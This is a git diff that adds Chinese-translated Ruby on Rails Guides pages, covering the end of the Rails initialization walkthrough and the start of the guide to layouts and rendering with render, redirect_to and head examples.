+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

options[:config] 的默认值为 config.ru,此文件包含如下内容:

+
+# 基于 Rack 的服务器使用此文件来启动应用。
+
+require_relative 'config/environment'
+run <%= app_const %>
+
+
+
+

Rack::Builder.parse_file 方法读取 config.ru 文件的内容,并使用下述代码解析文件内容:

+
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+    TOPLEVEL_BINDING, file, 0
+end
+
+
+
+

Rack::Builder 类的 initialize 方法会把接收到的代码块在 Rack::Builder 类的实例中执行,Rails 初始化过程中的大部分工作都在这一步完成。在 config.ru 文件中,加载 config/environment.rb 文件的这一行代码首先被执行:

+
+require_relative 'config/environment'
+
+
+
+

1.12 config/environment.rb 文件

config.ru 文件(rails server)和 Passenger 都需要加载此文件。这两种运行服务器的方式直到这里才出现了交集,此前的一切工作都只是围绕 Rack 和 Rails 的设置进行的。

此文件以加载 config/application.rb 文件开始:

+
+require_relative 'application'
+
+
+
+

1.13 config/application.rb 文件

此文件会加载 config/boot.rb 文件:

+
+require_relative 'boot'
+
+
+
+

对于 rails server 这种启动服务器的方式,之前并未加载过 config/boot.rb 文件,因此这里会加载该文件;对于 Passenger,之前已经加载过该文件,这里就不会重复加载了。

接下来,有趣的事情就要开始了!

2 加载 Rails

config/application.rb 文件的下一行是:

+
+require 'rails/all'
+
+
+
+

2.1 railties/lib/rails/all.rb 文件

此文件负责加载 Rails 中所有独立的框架:

+
+require "rails"
+
+%w(
+  active_record/railtie
+  action_controller/railtie
+  action_view/railtie
+  action_mailer/railtie
+  active_job/railtie
+  action_cable/engine
+  rails/test_unit/railtie
+  sprockets/railtie
+).each do |railtie|
+  begin
+    require railtie
+  rescue LoadError
+  end
+end
+
+
+
+

这些框架加载完成后,就可以在 Rails 应用中使用了。这里不会深入介绍每个框架,而是鼓励读者自己动手试验和探索。

现在,我们只需记住,Rails 的常见功能,例如 Rails 引擎、I18n 和 Rails 配置,都在这里定义好了。

2.2 回到 config/environment.rb 文件

config/application.rb 文件的其余部分定义了 Rails::Application 的配置,当应用的初始化全部完成后就会使用这些配置。当 config/application.rb 文件完成了 Rails 的加载和应用命名空间的定义后,程序执行流程再次回到 config/environment.rb 文件。在这里会通过 rails/application.rb 文件中定义的 Rails.application.initialize! 方法完成应用的初始化。

2.3 railties/lib/rails/application.rb 文件

initialize! 方法的定义如下:

+
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+
+
+
+

我们看到,一个应用只能初始化一次。railties/lib/rails/initializable.rb 文件中定义的 run_initializers 方法负责运行初始化程序:

+
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+
+
+
+

run_initializers 方法的代码比较复杂,Rails 会遍历所有类的祖先,以查找能够响应 initializers 方法的类。对于找到的类,首先按名称排序,然后依次调用 initializers 方法。例如,Engine 类通过为所有的引擎提供 initializers 方法而使它们可用。

railties/lib/rails/application.rb 文件中定义的 Rails::Application 类,定义了 bootstraprailtiefinisher 初始化程序。bootstrap 初始化程序负责完成应用初始化的准备工作(例如初始化记录器),而 finisher 初始化程序(例如创建中间件栈)总是最后运行。railtie 初始化程序在 Rails::Application 类自身中定义,在 bootstrap 之后、finishers 之前运行。

应用初始化完成后,程序执行流程再次回到 Rack::Server 类。

2.4 Rack:lib/rack/server.rb 文件

程序执行流程上一次离开此文件是在定义 app 方法时:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

此时,app 就是 Rails 应用本身(一个中间件),接下来 Rack 会调用所有已提供的中间件:

+
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+
+
+
+

记住,在 Server#start 方法定义的最后一行代码中,通过 wrapped_app 方法调用了 build_app 方法。让我们回顾一下这行代码:

+
+server.run wrapped_app, options, &blk
+
+
+
+

此时,server.run 方法的实现方式取决于我们所使用的服务器。例如,如果使用的是 Puma,run 方法的实现方式如下:

+
+...
+DEFAULT_OPTIONS = {
+  :Host => '0.0.0.0',
+  :Port => 8080,
+  :Threads => '0:16',
+  :Verbose => false
+}
+
+def self.run(app, options = {})
+  options = DEFAULT_OPTIONS.merge(options)
+
+  if options[:Verbose]
+    app = Rack::CommonLogger.new(app, STDOUT)
+  end
+
+  if options[:environment]
+    ENV['RACK_ENV'] = options[:environment].to_s
+  end
+
+  server   = ::Puma::Server.new(app)
+  min, max = options[:Threads].split(':', 2)
+
+  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+  puts "* Min threads: #{min}, max threads: #{max}"
+  puts "* Environment: #{ENV['RACK_ENV']}"
+  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+  server.add_tcp_listener options[:Host], options[:Port]
+  server.min_threads = min
+  server.max_threads = max
+  yield server if block_given?
+
+  begin
+    server.run.join
+  rescue Interrupt
+    puts "* Gracefully stopping, waiting for requests to finish"
+    server.stop(true)
+    puts "* Goodbye!"
+  end
+
+end
+
+
+
+

我们不会深入介绍服务器配置本身,不过这已经是 Rails 初始化过程的最后一步了。

本文高度概括的介绍,旨在帮助读者理解 Rails 应用的代码何时执行、如何执行,从而使读者成为更优秀的 Rails 开发者。要想掌握更多这方面的知识,Rails 源代码本身也许是最好的研究对象。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/assets/javascripts/guides.js b/javascripts/guides.js similarity index 100% rename from assets/javascripts/guides.js rename to javascripts/guides.js diff --git a/assets/javascripts/jquery.min.js b/javascripts/jquery.min.js similarity index 100% rename from assets/javascripts/jquery.min.js rename to javascripts/jquery.min.js diff --git a/assets/javascripts/responsive-tables.js b/javascripts/responsive-tables.js similarity index 100% rename from assets/javascripts/responsive-tables.js rename to javascripts/responsive-tables.js diff --git a/assets/javascripts/syntaxhighlighter.js b/javascripts/syntaxhighlighter.js similarity index 100% rename from assets/javascripts/syntaxhighlighter.js rename to javascripts/syntaxhighlighter.js diff --git a/layout.html b/layout.html new file mode 100644 index 0000000..a415db7 --- /dev/null +++ b/layout.html @@ -0,0 +1,464 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+ + + +
+
+ +
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/layouts_and_rendering.html b/layouts_and_rendering.html new file mode 100644 index 0000000..86945dc --- /dev/null +++ b/layouts_and_rendering.html @@ -0,0 +1,1619 @@ + + + + + + + +Rails 布局和视图渲染 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Rails 布局和视图渲染

本文介绍 Action Controller 和 Action View 的基本布局功能。

读完本文后,您将学到:

+
    +
  • 如何使用 Rails 内置的各种渲染方法;
  • +
  • 如果创建具有多个内容区域的布局;
  • +
  • 如何使用局部视图去除重复;
  • +
  • 如何使用嵌套布局(子模板)。
  • +
+ + + + +
+
+ +
+
+
+

1 概览:各组件之间如何协作

本文关注 MVC 架构中控制器和视图之间的交互。你可能已经知道,控制器在 Rails 中负责协调处理请求的整个过程,它经常把繁重的操作交给模型去做。返回响应时,控制器把一些操作交给视图——这正是本文的话题。

总的来说,这个过程涉及到响应中要发送什么内容,以及调用哪个方法创建响应。如果响应是个完整的视图,Rails 还要做些额外工作,把视图套入布局,有时还要渲染局部视图。后文会详细讲解整个过程。

2 创建响应

从控制器的角度来看,创建 HTTP 响应有三种方法:

+
    +
  • 调用 render 方法,向浏览器发送一个完整的响应;
  • +
  • 调用 redirect_to 方法,向浏览器发送一个 HTTP 重定向状态码;
  • +
  • 调用 head 方法,向浏览器发送只含 HTTP 首部的响应;
  • +
+

2.1 默认的渲染行为

你可能已经听说过 Rails 的开发原则之一是“多约定,少配置”。默认的渲染行为就是这一原则的完美体现。默认情况下,Rails 中的控制器渲染路由名对应的视图。假如 BooksController 类中有下述代码:

+
+class BooksController < ApplicationController
+end
+
+
+
+

在路由文件中有如下代码:

+
+resources :books
+
+
+
+

而且有个名为 app/views/books/index.html.erb 的视图文件:

+
+<h1>Books are coming soon!</h1>
+
+
+
+

那么,访问 /books 时,Rails 会自动渲染视图 app/views/books/index.html.erb,网页中会看到显示有“Books are coming soon!”。

然而,网页中显示这些文字没什么用,所以后续你可能会创建一个 Book 模型,然后在 BooksController 中添加 index 动作:

+
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+
+
+
+

注意,基于“多约定,少配置”原则,在 index 动作末尾并没有指定要渲染视图,Rails 会自动在控制器的视图文件夹中寻找 action_name.html.erb 模板,然后渲染。这里,Rails 渲染的是 app/views/books/index.html.erb 文件。

如果要在视图中显示书籍的属性,可以使用 ERB 模板,如下所示:

+
+<h1>Listing Books</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Summary</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @books.each do |book| %>
+  <tr>
+    <td><%= book.title %></td>
+    <td><%= book.content %></td>
+    <td><%= link_to "Show", book %></td>
+    <td><%= link_to "Edit", edit_book_path(book) %></td>
+    <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+  </tr>
+<% end %>
+</table>
+
+<br>
+
+<%= link_to "New book", new_book_path %>
+
+
+
+

真正处理渲染过程的是 ActionView::TemplateHandlers 的子类。本文不做深入说明,但要知道,文件的扩展名决定了要使用哪个模板处理程序。从 Rails 2 开始,ERB 模板(含有嵌入式 Ruby 代码的 HTML)的标准扩展名是 .erb,Builder 模板(XML 生成器)的标准扩展名是 .builder

2.2 使用 render 方法

多数情况下,ActionController::Base#render 方法都能担起重则,负责渲染应用的内容,供浏览器使用。render 方法的行为有多种定制方式,可以渲染 Rails 模板的默认视图、指定的模板、文件、行间代码或者什么也不渲染。渲染的内容可以是文本、JSON 或 XML。而且还可以设置响应的内容类型和 HTTP 状态码。

如果不想使用浏览器而直接查看调用 render 方法得到的结果,可以调用 render_to_string 方法。它与 render 的用法完全一样,但是不会把响应发给浏览器,而是直接返回一个字符串。

2.2.1 渲染动作的视图

如果想渲染同个控制器中的其他模板,可以把视图的名字传给 render 方法:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+
+
+
+

如果调用 update 失败,update 动作会渲染同个控制器中的 edit.html.erb 模板。

如果不想用字符串,还可使用符号指定要渲染的动作:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+
+
+
+

2.2.2 渲染其他控制器中某个动作的模板

如果想渲染其他控制器中的模板该怎么做呢?还是使用 render 方法,指定模板的完整路径(相对于 app/views)即可。例如,如果控制器 AdminProductsControllerapp/controllers/admin 文件夹中,可使用下面的方式渲染 app/views/products 文件夹中的模板:

+
+render "products/show"
+
+
+
+

因为参数中有条斜线,所以 Rails 知道这个视图属于另一个控制器。如果想让代码的意图更明显,可以使用 :template 选项(Rails 2.2 及之前的版本必须这么做):

+
+render template: "products/show"
+
+
+
+

2.2.3 渲染任意文件

render 方法还可渲染应用之外的视图:

+
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+
+
+
+

:file 选项的值是绝对文件系统路径。当然,你要对使用的文件拥有相应权限。

如果 :file 选项的值来自用户输入,可能导致安全问题,因为攻击者可以利用这一点访问文件系统中的机密文件。

默认情况下,使用当前布局渲染文件。

如果在 Microsoft Windows 中运行 Rails,必须使用 :file 选项指定文件的路径,因为 Windows 中的文件名和 Unix 格式不一样。

2.2.4 小结

上述三种渲染方式(渲染同一个控制器中的另一个模板,选择另一个控制器中的模板,以及渲染文件系统中的任意文件)的作用其实是一样的。

BooksController 控制器的 update 动作中,如果更新失败后想渲染 views/books 文件夹中的 edit.html.erb 模板,下面这些做法都能达到这个目的:

+
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+
+
+
+

你可以根据自己的喜好决定使用哪种方式,总的原则是,使用符合代码意图的最简单方式。

2.2.5 使用 render 方法的 :inline 选项

如果通过 :inline 选项提供 ERB 代码,render 方法就不会渲染视图。下述写法完全有效:

+
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+
+
+
+

但是很少使用这个选项。在控制器中混用 ERB 代码违反了 MVC 架构原则,也让应用的其他开发者难以理解应用的逻辑思路。请使用单独的 ERB 视图。

默认情况下,行间渲染使用 ERB。你可以使用 :type 选项指定使用 Builder:

+
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+
+
+
+

2.2.6 渲染文本

调用 render 方法时指定 :plain 选项,可以把没有标记语言的纯文本发给浏览器:

+
+render plain: "OK"
+
+
+
+

渲染纯文本主要用于响应 Ajax 或无需使用 HTML 的网络服务。

默认情况下,使用 :plain 选项渲染纯文本时不会套用应用的布局。如果想使用布局,要指定 layout: true 选项。此时,使用扩展名为 .txt.erb 的布局文件。

2.2.7 渲染 HTML

调用 render 方法时指定 :html 选项,可以把 HTML 字符串发给浏览器:

+
+render html: "<strong>Not Found</strong>".html_safe
+
+
+
+

这种方式可用于渲染 HTML 片段。如果标记很复杂,就要考虑使用模板文件了。

使用 html: 选项时,如果没调用 html_safe 方法把 HTML 字符串标记为安全的,HTML 实体会转义。

2.2.8 渲染 JSON

JSON 是一种 JavaScript 数据格式,很多 Ajax 库都用这种格式。Rails 内建支持把对象转换成 JSON,经渲染后再发送给浏览器。

+
+render json: @product
+
+
+
+

在需要渲染的对象上无需调用 to_json 方法。如果有 :json 选项,render 方法会自动调用 to_json

2.2.9 渲染 XML

Rails 也内建支持把对象转换成 XML,经渲染后再发给调用方:

+
+render xml: @product
+
+
+
+

在需要渲染的对象上无需调用 to_xml 方法。如果有 :xml 选项,render 方法会自动调用 to_xml

2.2.10 渲染普通的 JavaScript

Rails 能渲染普通的 JavaScript:

+
+render js: "alert('Hello Rails');"
+
+
+
+

此时,发给浏览器的字符串,其 MIME 类型为 text/javascript

2.2.11 渲染原始的主体

调用 render 方法时使用 :body 选项,可以不设置内容类型,把原始的内容发送给浏览器:

+
+render body: "raw"
+
+
+
+

只有不在意内容类型时才应该使用这个选项。多数时候,使用 :plain:html 选项更合适。

如果没有修改,这种方式返回的内容类型是 text/html,因为这是 Action Dispatch 响应默认使用的内容类型。

2.2.12 render 方法的选项

render 方法一般可接受五个选项:

+
    +
  • :content_type +
  • +
  • :layout +
  • +
  • :location +
  • +
  • :status +
  • +
  • :formats +
  • +
+

2.2.12.1 :content_type 选项

默认情况下,Rails 渲染得到的结果内容类型为 text/html(如果使用 :json 选项,内容类型为 application/json;如果使用 :xml 选项,内容类型为 application/xml)。如果需要修改内容类型,可使用 :content_type 选项:

+
+render file: filename, content_type: "application/rss"
+
+
+
+

2.2.12.2 :layout 选项

render 方法的大多数选项渲染得到的结果都会作为当前布局的一部分显示。后文会详细介绍布局。

:layout 选项告诉 Rails,在当前动作中使用指定的文件作为布局:

+
+render layout: "special_layout"
+
+
+
+

也可以告诉 Rails 根本不使用布局:

+
+render layout: false
+
+
+
+

2.2.12.3 :location 选项

:location 选项用于设置 HTTP Location 首部:

+
+render xml: photo, location: photo_url(http://github.com/photo)
+
+
+
+

2.2.12.4 :status 选项

Rails 会自动为生成的响应附加正确的 HTTP 状态码(大多数情况下是 200 OK)。使用 :status 选项可以修改状态码:

+
+render status: 500
+render status: :forbidden
+
+
+
+

Rails 能理解数字状态码和对应的符号,如下所示:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
响应类别HTTP 状态码符号
信息100:continue
101:switching_protocols
102:processing
成功200:ok
201:created
202:accepted
203:non_authoritative_information
204:no_content
205:reset_content
206:partial_content
207:multi_status
208:already_reported
226:im_used
重定向300:multiple_choices
301:moved_permanently
302:found
303:see_other
304:not_modified
305:use_proxy
307:temporary_redirect
308:permanent_redirect
客户端错误400:bad_request
401:unauthorized
402:payment_required
403:forbidden
404:not_found
405:method_not_allowed
406:not_acceptable
407:proxy_authentication_required
408:request_timeout
409:conflict
410:gone
411:length_required
412:precondition_failed
413:payload_too_large
414:uri_too_long
415:unsupported_media_type
416:range_not_satisfiable
417:expectation_failed
422:unprocessable_entity
423:locked
424:failed_dependency
426:upgrade_required
428:precondition_required
429:too_many_requests
431:request_header_fields_too_large
服务器错误500:internal_server_error
501:not_implemented
502:bad_gateway
503:service_unavailable
504:gateway_timeout
505:http_version_not_supported
506:variant_also_negotiates
507:insufficient_storage
508:loop_detected
510:not_extended
511:network_authentication_required
+

如果渲染内容时指定了与内容无关的状态码(100-199、204、205 或 304),响应会弃之不用。

2.2.12.5 :formats 选项

Rails 使用请求中指定的格式(或者使用默认的 :html)。如果想改变格式,可以指定 :formats 选项。它的值是一个符号或一个数组。

+
+render formats: :xml
+render formats: [:json, :xml]
+
+
+
+

如果指定格式的模板不存在,抛出 ActionView::MissingTemplate 错误。

2.2.13 查找布局

查找布局时,Rails 首先查看 app/views/layouts 文件夹中是否有和控制器同名的文件。例如,渲染 PhotosController 中的动作会使用 app/views/layouts/photos.html.erb(或 app/views/layouts/photos.builder)。如果没找到针对控制器的布局,Rails 会使用 app/views/layouts/application.html.erbapp/views/layouts/application.builder。如果没有 .erb 布局,Rails 会使用 .builder 布局(如果文件存在)。Rails 还提供了多种方法用来指定单个控制器和动作使用的布局。

2.2.13.1 指定控制器所用的布局

在控制器中使用 layout 声明,可以覆盖默认使用的布局约定。例如:

+
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+
+
+
+

这么声明之后,ProductsController 渲染的所有视图都将使用 app/views/layouts/inventory.html.erb 文件作为布局。

要想指定整个应用使用的布局,可以在 ApplicationController 类中使用 layout 声明:

+
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+
+
+
+

这么声明之后,整个应用的视图都会使用 app/views/layouts/main.html.erb 文件作为布局。

2.2.13.2 在运行时选择布局

可以使用一个符号把布局延后到处理请求时再选择:

+
+class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+
+
+
+

现在,如果当前用户是特殊用户,会使用一个特殊布局渲染产品视图。

还可使用行间方法,例如 Proc,决定使用哪个布局。如果使用 Proc,其代码块可以访问 controller 实例,这样就能根据当前请求决定使用哪个布局:

+
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+
+
+
+

2.2.13.3 根据条件设定布局

在控制器中指定布局时可以使用 :only:except 选项。这两个选项的值可以是一个方法名或者一个方法名数组,对应于控制器中的动作:

+
+class ProductsController < ApplicationController
+  layout "product", except: [:index, :rss]
+end
+
+
+
+

这么声明后,除了 rssindex 动作之外,其他动作都使用 product 布局渲染视图。

2.2.13.4 布局继承

布局声明按层级顺序向下顺延,专用布局比通用布局优先级高。例如:

+
    +
  • +

    application_controller.rb

    +
    +
    +class ApplicationController < ActionController::Base
    +  layout "main"
    +end
    +
    +
    +
    +
  • +
  • +

    articles_controller.rb

    +
    +
    +class ArticlesController < ApplicationController
    +end
    +
    +
    +
    +
  • +
  • +

    special_articles_controller.rb

    +
    +
    +class SpecialArticlesController < ArticlesController
    +  layout "special"
    +end
    +
    +
    +
    +
  • +
  • +

    old_articles_controller.rb

    +
    +
    +class OldArticlesController < SpecialArticlesController
    +  layout false
    +
    +  def show
    +    @article = Article.find(params[:id])
    +  end
    +
    +  def index
    +    @old_articles = Article.older
    +    render layout: "old"
    +  end
    +  # ...
    +end
    +
    +
    +
    +
  • +
+

在这个应用中:

+
    +
  • 一般情况下,视图使用 main 布局渲染;
  • +
  • ArticlesController#index 使用 main 布局;
  • +
  • SpecialArticlesController#index 使用 special 布局;
  • +
  • OldArticlesController#show 不用布局;
  • +
  • OldArticlesController#index 使用 old 布局;
  • +
+

2.2.13.5 模板继承

与布局的继承逻辑一样,如果在约定的路径上找不到模板或局部视图,控制器会在继承链中查找模板或局部视图。例如:

+
+# in app/controllers/application_controller
+class ApplicationController < ActionController::Base
+end
+
+# in app/controllers/admin_controller
+class AdminController < ApplicationController
+end
+
+# in app/controllers/admin/products_controller
+class Admin::ProductsController < AdminController
+  def index
+  end
+end
+
+
+
+

admin/products#index 动作的查找顺序为:

+
    +
  • app/views/admin/products/ +
  • +
  • app/views/admin/ +
  • +
  • app/views/application/ +
  • +
+

因此,app/views/application/ 最适合放置共用的局部视图,在 ERB 中可以像下面这样渲染:

+
+<%# app/views/admin/products/index.html.erb %>
+<%= render @products || "empty_list" %>
+
+<%# app/views/application/_empty_list.html.erb %>
+There are no items in this list <em>yet</em>.
+
+
+
+

2.2.14 避免双重渲染错误

多数 Rails 开发者迟早都会看到这个错误消息:Can only render or redirect once per action(一个动作只能渲染或重定向一次)。这个提示很烦人,也很容易修正。出现这个错误的原因是,没有理解 render 的工作原理。

例如,下面的代码会导致这个错误:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+  render action: "regular_show"
+end
+
+
+
+

如果 @book.special? 的求值结果是 true,Rails 开始渲染,把 @book 变量导入 special_show 视图中。但是,show 动作并不会就此停止运行,当 Rails 运行到动作的末尾时,会渲染 regular_show 视图,从而导致这个错误。解决的办法很简单,确保在一次代码运行路径中只调用一次 renderredirect_to 方法。有一个语句可以帮助解决这个问题,那就是 and return。下面的代码对上述代码做了修改:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show" and return
+  end
+  render action: "regular_show"
+end
+
+
+
+

千万别用 && return 代替 and return,因为 Ruby 语言运算符优先级的关系,&& return 根本不起作用。

注意,ActionController 能检测到是否显式调用了 render 方法,所以下面这段代码不会出错:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+end
+
+
+
+

如果 @book.special? 的结果是 true,会渲染 special_show 视图,否则就渲染默认的 show 模板。

2.3 使用 redirect_to 方法

响应 HTTP 请求的另一种方法是使用 redirect_to。如前所述,render 告诉 Rails 构建响应时使用哪个视图(或其他静态资源)。redirect_to 做的事情则完全不同,它告诉浏览器向另一个 URL 发起新请求。例如,在应用中的任何地方使用下面的代码都可以重定向到 photos 控制器的 index 动作:

+
+redirect_to photos_url
+
+
+
+

你可以使用 redirect_back 把用户带回他们之前所在的页面。前一个页面的地址从 HTTP_REFERER 首部中获取,浏览器不一定会设定,因此必须提供 fallback_location

+
+redirect_back(fallback_location: root_path)
+
+
+
+

redirect_toredirect_back 不会立即导致方法返回,停止执行,它们只是设定 HTTP 响应。方法中位于其后的语句会继续执行。如果需要停止执行,使用 return 语句或其他终止机制。

2.3.1 设置不同的重定向状态码

调用 redirect_to 方法时,Rails 把 HTTP 状态码设为 302,即临时重定向。如果想使用其他状态码,例如 301(永久重定向),可以设置 :status 选项:

+
+redirect_to photos_path, status: 301
+
+
+
+

render 方法的 :status 选项一样,redirect_to 方法的 :status 选项同样可使用数字状态码或符号。

2.3.2 renderredirect_to 的区别

有些经验不足的开发者会认为 redirect_to 方法是一种 goto 命令,把代码从一处转到别处。这么理解是不对的。执行到 redirect_to 方法时,代码会停止运行,等待浏览器发起新请求。你需要告诉浏览器下一个请求是什么,并返回 302 状态码。

下面通过实例说明。

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    render action: "index"
+  end
+end
+
+
+
+

在这段代码中,如果 @book 变量的值为 nil,很可能会出问题。记住,render :action 不会执行目标动作中的任何代码,因此不会创建 index 视图所需的 @books 变量。修正方法之一是不渲染,而是重定向:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    redirect_to action: :index
+  end
+end
+
+
+
+

这样修改之后,浏览器会向 index 页面发起新请求,执行 index 方法中的代码,因此一切都能正常运行。

这种方法唯有一个缺点:增加了浏览器的工作量。浏览器通过 /books/1show 动作发起请求,控制器做了查询,但没有找到对应的图书,所以返回 302 重定向响应,告诉浏览器访问 /books/。浏览器收到指令后,向控制器的 index 动作发起新请求,控制器从数据库中取出所有图书,渲染 index 模板,将其返回给浏览器,在屏幕上显示所有图书。

在小型应用中,额外增加的时间不是个问题。如果响应时间很重要,这个问题就值得关注了。下面举个虚拟的例子演示如何解决这个问题:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    @books = Book.all
+    flash.now[:alert] = "Your book was not found"
+    render "index"
+  end
+end
+
+
+
+

在这段代码中,如果指定 ID 的图书不存在,会从模型中取出所有图书,赋值给 @books 实例变量,然后直接渲染 index.html.erb 模板,并显示一个闪现消息,告知用户出了什么问题。

2.4 使用 head 构建只有首部的响应

head 方法只把首部发送给浏览器,它的参数是 HTTP 状态码数字或符号形式(参见前面的表格),选项是一个散列,指定首部的名称和对应的值。例如,可以只返回一个错误首部:

+
+head :bad_request
+
+
+
+

生成的首部如下:

+
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

也可以使用其他 HTTP 首部提供额外信息:

+
+head :created, location: photo_path(@photo)
+
+
+
+

生成的首部如下:

+
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

3 布局的结构

Rails 渲染响应的视图时,会把视图和当前模板结合起来。查找当前模板的方法前文已经介绍过。在布局中可以使用三种工具把各部分合在一起组成完整的响应:

+
    +
  • 静态资源标签
  • +
  • yieldcontent_for +
  • +
  • 局部视图
  • +
+

3.1 静态资源标签辅助方法

